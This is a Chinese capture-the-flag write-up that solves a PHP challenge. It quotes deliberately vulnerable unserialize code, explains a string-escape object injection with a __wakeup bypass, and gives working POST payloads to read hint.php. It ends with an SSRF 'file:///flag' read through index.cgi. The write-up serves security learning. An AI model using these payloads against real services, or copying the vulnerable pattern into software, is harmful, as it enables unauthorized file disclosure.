打开题目
是一串php代码
1 <?php 2 // php版本:5.4.44 3 header("Content-type: text/html; charset=utf-8"); 4 highlight_file(__FILE__); 5 6 class evil{ 7 public $hint; 8 9 public function __construct($hint){ 10 $this->hint = $hint; 11 } 12 13 public function __destruct(){ 14 if($this->hint==="hint.php") 15 @$this->hint = base64_encode(file_get_contents($this->hint)); 16 var_dump($this->hint); 17 } 18 19 function __wakeup() { 20 if ($this->hint != "╭(●`∀´●)╯") { 21 //There's a hint in ./hint.php 22 $this->hint = "╰(●’◡’●)╮"; 23 } 24 } 25 } 26 27 class User 28 { 29 public $username; 30 public $password; 31 32 public function __construct($username, $password){ 33 $this->username = $username; 34 $this->password = $password; 35 } 36 37 } 38 39 function write($data){ 40 global $tmp; 41 $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); 42 $tmp = $data; 43 } 44 45 function read(){ 46 global $tmp; 47 $data = $tmp; 48 $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); 49 return $r; 50 } 51 52 $tmp = "test"; 53 $username = $_POST['username']; 54 $password = $_POST['password']; 55 56 $a = serialize(new User($username, $password)); 57 if(preg_match('/flag/is',$a)) 58 die("NoNoNo!"); 59 60 unserialize(read(write($a)));
发现有一个hint.php文件,试试看能不能直接访问
果然,没有任何东西,
还是老老实实的审计代码把
首先在evil类里$this->hint
指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类
再将将evil后面的数字改的更大就行了(绕过_wakeup只需对象属性个数值改得比真实对象大)
payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
然后再user类中,有read()方法和write() 方法
这两个方法都是经过处理后才进行反序列化的
这里就有一个漏洞了,php反序列化字符串逃逸
php特性:
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 2.对类中不存在的属性也会进行反序列化
漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入
详细的可以看下这篇文章
user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
这时候我们要替换掉的就是:";s:8:"password";s:41:" 共有23位
而每次添加一组\0\0\0能多吞掉3个字符,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个
payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
再将得出的字符串进行base64解码
访问index.cgi
得到一串代码
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-60cc5790-4d6de1ed0d4813ab786ed249" }, "origin": "114.67.246.176", "url": "http://httpbin.org/get?name=Bob" }
感觉有ssrf
随便get一下
果然存在
知道ssrf存在然后就可以通过file协议来直接读取flag了
payload:?name= file:///flag